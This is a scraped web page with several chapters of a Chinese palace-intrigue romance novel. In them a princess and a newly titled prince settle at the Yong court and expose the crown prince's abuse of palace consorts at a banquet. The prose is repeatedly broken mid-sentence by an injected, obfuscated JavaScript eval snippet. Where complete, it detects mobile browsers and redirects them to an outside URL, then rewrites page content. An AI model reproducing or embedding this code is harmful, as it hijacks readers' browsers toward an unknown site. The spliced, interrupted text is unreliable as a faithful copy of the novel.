温若初拍着沈惊澜的胳膊,心道:怎么激动成这个样子? 轻声安抚道。 “带你,带你。” 隔天,温若初刚用过早饭,小辛一脸的兴奋跑进来。 “阁主,郡主,宫里来人了,陛下召见。” 温若初和沈惊澜对视一眼。 温若初眼底满是期待,沈惊澜却是懵懵懂懂的。 温若初抬手揉了揉沈惊澜的脸,嘴角蔓延开一抹甜甜笑意,如不掺杂任何杂质,湛蓝如洗的碧空,源自内心深处的开心。 “我们马上就要过好日子了。” 在大虞上京,她是世人皆给她三分颜面的郡主,在雍国都城她也可以是世人皆给她三分颜面的九皇子妃。 背后有大虞做后盾,手上握着边境三城傍身。 雍国皇室的那些牛鬼蛇神,若是欺负到她头上,她可是会发飙的。 院门口 身披铠甲的大虞禁军威武高大,分列两侧,马车上装着满满登登的物什,小到杯具器皿,大到家具摆件,应有尽有,金银玉器看到的就好几箱,粗略估计至少十万两以上。 马车排着长龙,堵了好几条街,一眼望不到头。 温若初惊奇地发现,后面居然还带来了几门火炮,雍国国力衰微,生产力低下,火炮在雍国是稀罕物,这几门火炮掺在车队里,实在扎眼得很。 冯文,秋菊,月儿苍兰苑的人也跟着一起来了,见到温若初,一个两个的,竟然眼眶发红,似乎要哭。 这是…… 把她家都搬来了? 女皇对她是何等的宠爱,才费心于此。 大冷的天,温若初看着眼前一张张熟悉的脸,和熟悉的物件,心里暖暖的,鼻腔忽然涌起一股酸涩。 有雍国礼部官员在,不能失了大虞的体面。 温若初挺了挺脊背,硬是把眼底的泪花憋了回去。 另一侧,一群身着华丽服饰的宫廷侍从整齐地站着,为首的是一个身材微胖的太监,满脸堆笑,态度恭敬,尖着嗓子道。 “奴才见过九殿下,见过若初郡主,陛下有旨,宣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另外,以促进大虞和雍国长久和平的名义,任命若初公主为大虞特使官员,进驻雍国都城。 边境三城送给温若初作为公主属地。 第116章 荣亲王 温若初既是和亲公主,又是大虞特使。 特使代表大虞,可以在自己府邸养府兵,可直接参与两国邦交政事。 大虞女皇赐婚温若初和沈惊澜,抬高了温若初身份,两人结亲,依礼制,雍国也要相对应地拿出些态度。 “如此甚好。” 老皇帝拍着大腿干笑两声。 “老九为质多年,有功与我雍国,酌封荣亲王,赐亲王府,若初公主日后就是荣亲王妃了。” “荣”乃荣耀,也有恩泽之意,寓意地位尊贵,深受恩宠和眷顾。 温若初和沈惊澜齐齐跪地谢过。 “谢父皇。” 老皇帝让两人起身。 女皇的圣旨是对温若初独一无二的偏爱和荣宠,连带着沈惊澜的身份都跟着水涨船高,一跃成为有封号的亲王。 众人或艳羡,或嫉妒,听着就让人眼馋。 皇子们看向沈惊澜的眼神都变了,之前谁也没把这个皇帝厌恶的老九放在眼里。 构不成威胁,自然没放在眼里。 如今,到底是不一样了。 老皇帝和温若初沈惊澜说了几句场面话,又看向凌玄礼。 “大虞使臣千里送亲,劳苦功高,朕已命人准备了下塌之处,可多住些时日。” 凌玄礼点头说是。 老皇帝办事终于麻利起来,当天下午就腾出一座府邸,送给沈惊澜和温若初。 温若初已经习惯住在原来的院子,虽有不舍,但日后免不了和老皇帝打交道,忍下心底的恨意,让人把行李挪去了荣亲王府。 沈惊澜敌国为质十几年,这些都是雍国欠他的,给多少要多少。 和沈惊澜受的那些苦楚相比,这些才哪到哪。 温若初忙着和秋菊月儿还有冯文叙旧。 大殿之上听完圣旨,众人散去之后,沈惊澜被他的那些兄弟们拉着,尽诉思念之情,极力展现兄友弟恭。 沈惊澜性子冷淡,又有大皇子在场,随便应付了两句就走了。 他想回去见他的荣亲王妃。 从早晨出家门到现在,沈惊澜心底疑惑四起。 他让追风去送信,眼下大虞的人都到了,他还没收到消息,也没见到追风人影,追风最近办事愈发不利落了。 今日场面正如他所料,他拿捏女皇心思,切中要害,女皇定会让温若初和亲。 可昨天从小辛口中转述的,温若初和凌玄礼的谈话内容,沈惊澜鲜少地对自己产生了怀疑。 还以为他写给大虞女皇的两封信没起到效果,昨晚忧心失落,还吃醉了酒。 晚温若初明明和凌玄礼说,“孩子留在亲生父亲身边合适”的…… 今天大虞女皇赐婚旨意就到了…… 温若初不会跟着凌玄礼走了。 她愿意留在他身边…… 沈惊澜倏然顿住脚步,墨黑深邃的眸子骤然亮了亮,像是突然想明白了什么似的,眼角眉梢都染上了一层不确定的喜悦之色。 范天恩亦步亦趋跟在沈惊澜身后。 沈惊澜身份地位不一样了,他们范家要跟着殿下崛起腾达了。 他心里盘算着范家的将来,有点走神,没注意。 沈惊澜在前突然停下,范天恩险些没撞上去,脚尖抓地,及时刹停脚步。 “九殿下……不是……” 沈惊澜已经受爵荣亲王,范天恩很快改嘴。 “……荣……荣王殿下,怎么了?” 沈惊澜回头看向范天恩。 “让古叔立刻回来。” 无来由的一句话,范天恩有些莫名,愣了愣答道。 “已经通知古叔回来了,差不多六七天就能到都城。” “再传消息,限他三日之内折返,我有急事。” 语气带着几分急切和命令的意味。 范天恩不知道沈惊澜为何如此心急,古叔多大岁数了,限时三日,多少有点折腾古叔了。 沈惊澜神色严肃,范天恩不敢多问,不觉把自己带入到,两军交战对峙,战机忽然有利我方,长官欣喜又急切下达军令的时候。 “是,属下这就去办。” 出了宫门,沈惊澜没坐马车,翻身骑上一匹快马,半个时辰的脚程,一炷香的时间就到荣王府了。 说是从原来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温若初仰着小脸,看沈惊澜,一脸疑问,等着沈惊澜接下来的话,她挺好奇,沈惊澜昨晚反常的原因。 然而等了半天也不见下文。 温若初眨了眨眼睛。 “以为我什么?” 沈惊澜偏头轻咳一声,错开温若初追问的视线。 “没什么。” 温若初:“……” 沈惊澜一定是心里有事瞒着她。 沈惊澜不算雍国新人,却算是新晋勋贵,他们搬到荣王府的第一日,前来祝贺结交的官员从晌午起就没断过。 温若初惦记沈惊澜瞒着她什么事,并断定,症结出现在凌玄礼来的那天。 晚些时候,趁着有人找沈惊澜的间隙,温若初偷偷问小辛。 “昨晚殿下怎么了?瞧着心情不好。” 她眉心紧蹙,一脸肃色。 王妃这是兴师问罪来了? 小辛尴尬地嘿嘿一笑,偷听人墙角不好,他是受阁主之命,不得不偷听。 阁主不让他把偷听的事说出去,当着正主的面,更不敢说了。 眼珠子一转,真假参半道: “阁主昨晚喝酒了。” “为什么喝酒?” “不知道。” 小辛的头摇得跟拨浪鼓似的。 温若初坐在太师椅里,无语地盯着小辛,有时候真想把这对主仆的嘴掰开,看看里面藏着什么东西。 换个角度想,沈惊澜心里憋着事,和她没什么关系,不耽误她吃,不耽误她喝,她跟着瞎操心个什么劲。 左右秋菊,月儿,冯文他们都在身边。 不管到什么时候,还是自己的人用着顺手。 隔天,礼部官员为沈惊澜举行了受封亲王礼,温若初跟着沈惊澜进宫祭拜沈家列祖列宗。 皇后求得老皇帝应允。 沈惊澜十几年没回来,一定很想家,可以在宫里转一转。 一个叫采莲的宫人引着温若初和沈惊澜,边走边介绍这十几年宫里发生的变化。 也不知是有意还是无意,转着转着,就到了沈惊澜幼年住过的地方——若初苑。 “若初”苑并非因温若初的名字命名,而是沈惊澜的母亲希望沈惊澜不忘初心。 温若初穿到这个世界的当晚,女皇疑心,温若初生搬硬套,硬是把沈惊澜的那句“相思无尽同谁诉,唯有婵娟照若初。”描写思乡之情的诗句,放在了自己身上。 院门刷着朱漆,没有门匾,从外面看高大巍峨,像是皇子曾经住的地方。 要不是宫人说这里是若初苑,温若初也不知道。 宫人拿出钥匙,打开锁链,推开院门,里面别有一番景象。 温若初陪沈惊澜站在若初苑门口。 难以想象若初苑居然是一座破旧小房子,加上残破不堪的四面院墙,歪歪斜斜,房顶只剩下一道光秃秃的横梁,主梁上残存几片瓦砾。 一层薄雪铺在上面,像是随时都能把这间屋子压塌似的。 墙角处有一个洞,被树枝堵着,墙的另一边,时不时传来女子或哭嚎,或嬉笑的声音,笑声诡异,听着令人头皮发麻。 温若初不觉打了一个冷战,沈惊澜抬手揽过她的肩膀。 “走吧。” “那是什么地方?”温若初随口问道。 还没等宫人张嘴回答。 沈惊澜道:“冷宫。” 沈惊澜眉目低垂,语气淡淡的,好像这里只是一个破屋子,这里所有的一切跟他没有关系。 沈惊澜一路上都没怎么说话,她能感觉到沈惊澜的情绪很低,甚至有点排斥这里。 温若初回头瞅了一眼“若初苑”,心里默默叹了一口气。 这里是沈惊澜曾经住过的地方,冷宫里曾经关着沈惊澜的母亲寒妃。 那个洞,年幼的沈惊澜应该经常爬过那个洞,去冷宫找寒妃。 温若初试探性地问道。 “要不要去祭拜一下母妃?” 沈惊澜摇摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455764|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两个宫人合力关上大门,两根拇指粗细的锁链串起门环,再次给这里落了锁。 其中一个年纪稍长的宫人名叫采莲,下巴点了点手边高高的院墙。 “这边是冷宫,里面关的都是罪妃。” 有罪的妃子,无名无姓,更不能祭拜。 温若初听懂了,这是在提醒沈惊澜他的母妃有罪,给个甜枣,然后再来打沈惊澜一巴掌,可能也带着几分警告沈惊澜的意思。 沈惊澜就算是受封亲王,他母亲是有罪之人,沈惊澜别肖想其它。 可当年明明是大皇子沈星驰侵犯了寒妃,在这些人嘴里,受害者成了有罪之人,史书工笔,皇室玉牒,留下的也只能是“寒妃有罪,育一子,名惊澜”,寥寥数笔。 温若初握住沈惊澜的手,定定的眼神看向沈惊澜。 “寒妃无罪。” 沈惊澜略显消沉的眸色亮了亮,微微勾了勾唇角,可能是想笑一笑,可这笑里藏着令人心疼的苦涩。 “走吧。” 走完一段阴森森小路,一道悠悠女声叫住温若初和沈惊澜。 “荣王殿下,若初郡主。” 温若初停下脚步,回头看去。 来人一袭青衣,二十多岁,衣料单薄,模样姣好,眉宇间似乎凝着一股愁绪。 “恭喜荣王殿下,若初郡主喜结连理。” 采莲对来人屈膝行礼,“见过王美人。” 温若初道谢,“谢王美人。” 王美人欲言又止地和温若初对视一眼,对采莲道。 “我出来的急,有些冷了,劳烦采莲姑娘去我宫里取一件披风过来。” “这……” 采莲瞅了一眼温若初和沈惊澜,面露难色。 “我也累了,今日先到这,多谢娘娘美意,采莲姑娘辛苦了。”温若初打圆场。 采莲走后,王美人又屏退自己身后随侍宫女,四下无人,二话不说就给温若初和沈惊澜跪下了。 第118章 能杀死敌人的就是好计谋 我靠! 这是干什么? 可别是碰瓷! “你干嘛?离我远点,我怀孕了,你要讹人可讹不过我。” 温若初吓了一跳,连连后退两步。 沈惊澜扶住她的胳膊,把她和王美人隔开,锐利的眸光盯在王美人身上。 “你做什么?” 王美人抬眼,探着脑袋看向温若初。 “若初郡主,求您救我一命……” 王美人叫她若初郡主,语气真挚又急切,只有大虞人才称呼她若初郡主。 温若初面上警惕之色未消。 “你是陛下亲封的美人,好吃好喝地在皇宫里住着,不好吗?再说了,我刚到都城,自己都顾不来自己,怎么救你?” 眼下多事之秋,正如温若初说的那样。 沈惊澜手里虽握有天机阁,占了掌握情报的优势。 可雍国形势复杂多变,正是多事之秋。 对付皇后,柳妃,还有老皇帝,都需要耗费一些心神。 不是她没有同情心,实在是和这位王美人非亲非故,实在没有多余的精力管旁人的闲事。 王美人瞅了一眼沈惊澜,错开视线看向温若初。 “我可以帮你们把太子**宫妃的罪行公之于众!” “我凭什么相信你?” 王美人深吸一口气,“实不相瞒,我也深受太子的折辱……” 王美人自称是大虞人,家道中落投奔雍国做侍郎的亲戚。 亲戚为攀附权贵,收她为义女,王美人以为找到了依靠,没想到亲戚竟然挟恩图报,送她参加选秀,买通了太监,给六十多岁的老皇帝做美人。 老皇帝病重,鲜少临幸他,本乐得清闲,没想到一次宫宴,竟然被太子沈星驰惦记上了。 后来沈星驰经常找她,王美人听说过当年寒妃的事,不敢声张,迫得沈星驰**,不得已就范。 王美人还告诉温若初,怀了两次身孕,担心东窗事发,偷偷把孩子弄掉了。 王美人被扶了起来,声泪俱下。 “那个沈星驰就不是人,我是陛下封的美人,说句充大的话,好歹也是长辈,沈星驰毫无廉耻之心,我实在受不了了,实不相瞒,我都想好**了,可郡主娘娘您来了,我还能活。” “过几日陛下为荣王殿下和郡主举办宴席,沈星驰一定在场……” 王美人擦去眼底眼泪,“我不求别的,只求回大虞,回家。” 当年寒妃受屈而死,根本原因正是受到太子沈星驰侮辱,事后被诬陷勾引皇子。 方才从“若初”苑出来的时候,温若初想过为寒妃正名。 可受害者**,加害者位高权重,有老皇帝护着,盖棺定论的事,多半不会承认罪行。 心里正琢磨寒妃的事,王美人就来了。 把沈星驰**宫妃罪行公之于众,确实是为寒妃正名最直接的办法。 王美人说得的确很让温若初心动。 一个上不得台面的计划,在温若初心里初具雏形。 温若初警惕地打量王美人。 “你为何不找柳妃?” 柳家势大,对付皇后的大皇子的事,柳妃应该更愿意去做,又同处后宫,柳妃比她更合适。 王美人苦涩地笑了一下,“我那个侍郎亲戚支持太子,是**,柳妃又怎么会帮我?” 接着说道:“秋天法华寺进香,我偶然遇到一个大虞人,叫桃红,桃红说得罪了上京的贵人,是郡主帮她重获新生的。” 桃红是温清柔的丫鬟,后来成了凌玄澈的小妾。温若初得到莫易宇养的花魁娘子是雍国细作这一情报就是出自桃红。 温若初暗道:原来王美人认识桃红,难怪王美人找上她。 “容我回去考虑考虑。” “好。” 王美人像是看到了希望似的,点点头。“我等郡主的好消息。” 温若初没答应王美人,也没把话说死。 寒妃是沈惊澜的母亲,帮不帮王美人的看沈惊澜的意思。 晚饭的时候,温若初状似随口问沈惊澜。 “你想帮她吗?” 沈惊澜一手托着碗,一手捏着筷子,抬眼看向温若初。 不答反问,“你不是已经决定了?” “我……” 温若初无趣地深吸一口气,“我这不是问问你的意见,尊重你?” 弄得好像她欺负沈惊澜,不给沈惊澜一点说话权利似的。 沈惊澜更擅长**上的谋略的布局,这种阴私手段,他不一定愿意用。 沈惊澜放下碗筷,正了正神色。 “明日为你我举办的宫宴,也算家宴,皇子和宫妃都会到,王美人想回家,咱们的目标是沈星驰。”不管设什么方法,能杀死敌人的就是好方法。 “古叔手里有能让人失去呼吸心跳脉搏的药,这两日古叔能到都城,可助王美人脱身。" 沈惊澜的话语间透着一股不容忽视的严峻,令温若初浑身一凛,细密的鸡皮疙瘩悄然爬满了手臂,连带着心神也不由自主地绷紧了。 “好!” 当晚就派人给王美人传话,依计行事。 隔天,雍国老皇帝在长乐宫设宴,招待大虞使臣,连带沈惊澜的亲王礼,沈惊澜和温若初的婚宴一并一起。 美其名曰喜上加喜。 温若初和沈惊澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455765|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是半个主角,双双换上合乎礼制身份的冕服。 雍国老皇帝端**之上,时不时咳嗽一阵子。 凌玄礼坐在下首,皇室宗亲,众皇子,公主,妃嫔都在。 煞有介事地把宫中礼乐也搬了过来,瞧着排场很大,别的不说,雍国至少面子功夫做得不错。 今后可就要正式和皇后,柳妃,大皇子,以及其他皇子打擂台了。 大皇子沈星驰好**,尤其是好小妈。 沈惊澜的母亲——寒族公主,只是其中的受害者之一。 沈星驰一直稳坐太子之位,没事人一样。 其中重要原因,柳家势大,隐有威胁皇权废立之势,老皇帝隐忍大皇子,何尝不是帝王之术的结果。 有大皇子和皇后在,能牵制柳家。 这次沈飞白重病,柳妃不知道明里暗里说了多少次,沈飞白病重和沈惊澜有关。 老皇帝昏庸,厌恶沈惊澜,却一直没动沈惊澜。 大皇子屡屡侵犯宫妃,老皇帝捂着家丑,当睁眼瞎,极力保沈星驰,妄图维持对方势力之间的平衡。 温若初跟着沈惊澜来雍国,就是为了掺进来一脚,打破平衡的。 温若初扫了一眼坐在诸位皇子最前端的沈星驰。 沈星驰散漫地瘫坐在座位里,单手撑着下巴,眼神时不时朝妃嫔座位处扫一眼。 温若初顺着沈星驰的视线瞄过去,嫔妃座位处,坐在最前面的是皇后和柳妃,柳妃怀里还抱着一只小白狗。 往后不显眼位置,一个身穿淡紫色衣裙的美妇人,正是王美人。 沈星驰的目光正是落在王美人身上。 昨晚王美人收到温若初的消息,苦日子就要熬到头了,暂且忍耐一时,她低着头,偶尔娇羞地回看一眼沈星驰。 温若初注意到王美人和沈星驰。 “喜欢小妈”是这本书的作者给沈星驰贴的人物标签。 沈飞白半死不活,柳家最大的筹码废了,大皇子出了事,老皇帝未必肯像之前一样,处处维护。 今日长乐宫内外,宫人进进出出,嫔妃皇子公主宗亲,还有以凌玄礼为首的大虞人,长乐宫人员众多。 她有些忧心,沈星驰又不傻,不一定有胆量就范。 温若初前后看了看,低声对沈惊澜道。 “人有点多,沈星驰不上钩怎么办?” “我已经安排下去了。”沈惊澜回道。 猫吃惯了腥味,看到鱼送到嘴边,怎么会忍得住? 他只需要创造一个无人注意它的条件,一定会释放本性,偷偷溜出来偷腥。 说话间,两人相携走到长乐宫大殿中央。 第120章 暗流涌动 刁嬷嬷到嘴边的话只能咽进肚子里。 点头退下,回到皇后处复命。 皇后无奈地瞅了一眼对面的沈星驰。 她这个儿子什么都好,就是有时候行事太过乖张了。 幸亏陛下以仁孝治天下,重嫡庶尊卑,太子性子张扬些,只要不出大乱子,却也无伤大雅。 柳妃座位紧邻皇后,沈星驰那边闹出来的动静,她看得一清二楚。 最看不上太子不把旁人放在眼里的嚣张模样,占了一个嫡长子的先天优势,什么都没有,哪里比得上她的六皇子。 她沈家为雍国立下了汗马功劳,要有不是兄长带兵有方戍守京畿,雍国早被那些乱臣贼子祸害了。 柳妃抱着小狗,狗名叫富贵,她一下一下地给富贵顺**。 阴阳怪气道:“太子殿下从小就活泼好动,皇后娘娘为了太子也是费心,御史台**的折子听说都是论车算的。” “也亏的是有陛下护着,不然,性子莽撞的太子在大虞女皇眼皮子底下,估摸着是活不长久的。” 皇后脸上做出的假笑都维持不住了,顿了顿,白了一眼柳妃,不悦地哼了一声。 “性子活泼些,总比不死不活的强,”轻叹一声,故作惋惜地摇摇头,“那可真就没什么指望了。” 暗讽沈飞白“病重”,瘫在屋里半死不活。 柳妃只有沈飞白一个儿子,这话无异于是戳柳妃的肺管子。 “……你!” 柳妃瞪着皇后,嘴角抽搐两下半天都说不出话。 温若初和沈惊澜坐在一处,宴席上的饭菜一口没动。 老皇帝十三个儿子,只有大皇子沈星驰有两个儿子,孙子辈的要么胎死腹中,要么幼年夭折,能长大活下来的都是女孩。 鬼知道这里面有没有事。 茶水是从王府带来的,还用油纸包了点肉干。 不过……肉干不是拿来给她吃的。 特意打听过,柳妃的富贵尤其喜爱这种肉干。 温若初细细品味茶水,眼睛四处乱转,看完这边的热闹,瞧那边的热闹,老皇帝坐在龙椅上,耳聋眼瞎。 雍国无论是前朝紧还是后宫,可比大虞热闹有趣多了。 宴席进行到中后阶段,饱暖之后就要想点别的什么了。 小辛过来换茶水,半跪在沈惊澜身侧,好像低声说了些什么。 沈惊澜对小辛摆摆手,示意他知道了。 脑袋凑到温若初这边,压低声音。 “外面都准备好了。” 温若初会意,趁着和旁人说话闲聊的功夫,对王美人做了一个手势。 王美人点了点头,起身离开,离开的时候,水汪汪的眸子,含羞带怯地勾了一眼沈星驰。 饵已放下,窝已打好,就等着鱼儿咬钩了。 温若初状似若无其事地和身边人说笑闲话家常,时不时和沈惊澜说两句话,余光却在沈星驰身上。 果然,王美人出去没一会儿,沈星驰也起身,好像要出去,和身边的人说了什么。 长乐宫殿内,舞姬衣袖翩跹,鼓乐声欢快,皇子宗亲们互相奉承,谈笑风生。 声音有些嘈杂。 温若初耳朵支棱着,微微歪着脑袋,往沈惊澜一侧靠,试图想听沈星驰说什么了,到底咬不咬钩? 沈惊澜坐姿端正,岿然不动,侧目瞅了一眼靠在他肩头上那张娇俏的脸,一脸的好奇,紧张中又透着一股兴奋。 他不觉勾了勾唇角,他耳力很好,能听见沈星驰说了什么,完全可以说给温若初听,见温若初这个样子,还是满足了她的好奇心。 “换个位置吧。” 两人位置调换,温若初没工夫谢沈惊澜,听见那边的沈星驰说。 “本宫出去透口气,你们不用跟着我。” 沈星驰说完对侍从挥了挥手,摇摇晃晃地起身出去了,出门的时候“碰巧”赶上小辛进来。 小辛麻溜跪地磕头,“不小心”撞了沈星驰一下,堵着门口,麻利道歉。 “太子殿下,对不住,对不住。” 沈星驰眉毛竖起,怒骂。 “谁家的狗奴才,滚开!” 他着急和美人幽会,没过多计较小辛的冲撞。 长乐宫内推杯换盏,乍看上去一片其乐融融岁月静好,舞乐掩盖涌动的暗流。 舞姬一舞结束,鼓乐声暂歇,狗富贵像是发现了什么时候,突然“汪汪”两声,吸着鼻子,从柳妃怀里跳了出去,跑几步在地上嗅了嗅,然后朝门外跑去。 这两声犬吠,尤其清晰。 柳妃叫了好几声,富贵都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455767|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头。 皇后幸灾乐祸地勾唇笑了笑,状似好心地吩咐太监宫女。 “你们几个赶紧去把柳妃的狗抱回来。” 皇后说话的声音很大,连坐在龙椅上的老皇帝都醒了,不悦地扫了一眼皇后和柳妃。 “吵吵嚷嚷的,怎么了?” 皇后和柳妃斗了二十多年,几乎是见缝插针地找能让老皇帝斥责柳妃的机会。 皇后道:“回陛下的话,富贵……跑了,那小畜生平常被宠得没边,在宫里乱吠也就算了,大虞使臣还在,可别冲撞了,让人看了笑话。” 柳妃为自己爱犬说话。 “富贵才不会乱吠,陛下是知道的,皇后娘娘是六宫之主,可不能信口雌黄啊。” 皇后道:“刚才叫那两声,难不成是人叫的?” …… 一个是糟糠之妻,一个是家族根基深厚的宠妃,老皇帝听这个说完,听那个,脸色黑如锅底,眉头越蹙越深。 温若初观察着老皇帝神色,眼瞅老皇帝情绪爆发,适时地起身装和事佬。 “父皇容禀,儿媳也养过狗,狗儿性子大多活泼,许是雍国和大虞结秦晋之好,上下一片海清河晏,那富贵也想沾沾父皇的喜气,跑出去玩了。” “儿媳瞧着也欢喜,不打紧的,着人把富贵抱回来就是。” 一晚上都没怎么说话,一直喝闷酒的凌玄礼,也搭腔。 “是,我们大虞人不计较这些,狗跑了,抓回来就是。” 也不知是给凌玄礼面子,还是温若初的话起了作用。 老皇帝咳嗽两声,面色好转,瞅了温若初一眼,复杂的神色中藏着一分满意的意味,快速移开视线,连老皇帝他自己都没察觉到那分微不足道的满意。 又瞄了一眼沈惊澜,吩咐主管太监李公公。 “赶紧去把那畜生抱回来。” “是。” 李公公赶紧领着几个小太监退了出去。 温若初对跟着凌玄礼一起来的几位随从道。 “你们快去帮帮忙。” 没一会儿,最先出去找富贵的那波人回来了,慌慌张张跪地,好像是见到了什么了不得的事,说话都有点不利索了。 “大……大……大皇子他……” “大皇子怎么了?”皇后急声道。 第121章 看好戏 小宫女喘了好几口气,才把这口气倒腾匀乎,看向自己的主子柳妃。 “大皇子和……” “住嘴!” 李公公小跑进来,神色慌张,急声打断小宫女的话,径直走向老皇帝身边耳语两句。 老皇帝面色黑如锅底,瞪了皇后好几眼,吩咐李公公。 “一个小畜生跑御膳房偷吃,着人抓回来,打死就是。” 富贵是柳妃爱犬,柳妃不乐意了,张嘴要说什么。老皇帝一个威慑力十足的眼神射过来,硬生生制止住了柳妃的话。 老皇帝转头看向众人,和颜悦色地笑了两声。 “诸位继续享用我雍国美味菜肴,美酒佳酿,雍国和大虞结秦晋之好,是两国百姓之福……” 整个宴席,老皇帝都神色恹恹的,偶尔还泛起瞌睡,骤然打起精神客套…… 先有狗跑出去,后又宫女为说出口的话。 眼下当做什么事都没有,**,摆明是在遮掩什么。 可往往越遮遮掩掩,越能勾起人的好奇心。 众人连喝酒交谈时候的眼神都是乱转的。 李公公得了老皇帝旨意,刚要按老皇帝旨意去办事,抓狗的第三波人回来了。 来人抱着狗富贵,笑呵呵道。 “这狗还真是爱凑热闹,雍国太子和一位宫妃打架,它非要凑上去。” 宫妃好歹是陛下的女人,太子就算是地位高些,也没有出手打宫妃的道理。 众人本就奇怪老皇帝在遮掩什么,好奇心被吊起得老高,这会连装喝酒闲谈都懒得装了,一个两个的瞪着眼睛看向抱狗的人。 抱狗人说话崩豆似的,语速很快很清晰,老皇帝想阻止都没机会。 抱狗人接着说道:“你们雍国打架好生奇怪,怎么不穿裤子啊,是你们的习俗?” 温若初认得此人,原是吏部的一个主簿,姓赵,她刚得了博阳侯府掌家劝那会,还请人家去府里算账来着,后来被调往鸿胪寺,主外事。 赵主簿白白净净,身材瘦小,看上去像是个尚未及冠的半大孩子,又是一脸天真的表情,好像真的什么都不懂在诚心发问似的。 “太子” “宫妃” “不穿衣服” “打架” 几个关键字符组合起来,再加上老皇帝遮遮掩掩的态度,用膝盖想也能想到发生什么事了。 李公公一脚门里,一脚门外,倒吸一口冷气。 心道:这下完了,雍国的脸面丢到姥姥家了。 长乐宫内诡异沉默片刻,一下子炸开了锅。 老皇帝想捏旁人的嘴,低调处理是不可能了,当着大虞使臣的面不了了之,日后双方开战,他们雍国都抬不起这个头。 老皇帝眼底恨铁不成钢的愤怒终于爆发。 “来人啊,去把太子还有那个**给朕押过来。” 好戏终于开始了,温若初倍儿精神,眼睛瞪得又圆又大,让秋菊又换了一壶热茶,做足看热闹的准备。 没一会儿,沈星驰和王美人被禁军押了上来,两人衣衫不整,面上还残留着情欲引起的潮红。 沈星驰喜欢睡小妈,但他不傻,心明镜这事不能摆在明面上。 明明是瞧着周围没人,才拉着王美人进了房间快活,正鱼水之欢痛快着,谁知道柳妃养的那只畜生突然从门缝钻进屋。 沈星驰恶狠狠地瞪了一眼柳妃,跪在长乐宫大殿前,极力辩解是王美人主动勾引他的,他一时把持不住着了王美人的道。 王美人张嘴欲辩解,老皇帝问都没问王美人,帝王一怒。 “来人啊,此妇人德行败坏,**无耻,猪狗不如,胆敢勾引太子,即刻拖出去杖杀。” 长乐宫内多是皇子公主嫔妃,以及皇室宗亲,有些知道沈星驰是什么德行的互看一眼,心照不宣,面上没有太大的表情波动,想来此等场面是见过几次的。 也有不知内情的,儿子和小妈,过于炸裂,皇宫高墙里玩得真花,震惊得嘴巴都合不拢了,就比如凌玄礼一小撮人。 老皇帝骂得直白又难听,王美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455768|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣衫单薄瑟缩着。 温若初突然没了看热闹的心思,老皇帝骂王美人的这些话,当年也同样骂过沈惊澜的母亲吧? 寒妃被打入冷宫,没多久生下沈惊澜。 宫里奴才拜高踩低,这种侮辱性极强的恶毒话,只会多,不会少。 她偏头瞅了一眼沈惊澜。 沈惊澜睫毛低垂,面色煞白,大概也是想起了自己的母亲。 温若初突然有点后悔帮王美人了,就算是帮,也不能用这个法子。 眼瞅老皇帝下令杖杀王美人,沈惊澜撩起眼皮,开口要说话。 温若初来不及想别的,扯了扯沈惊澜衣角。 “我来吧。” 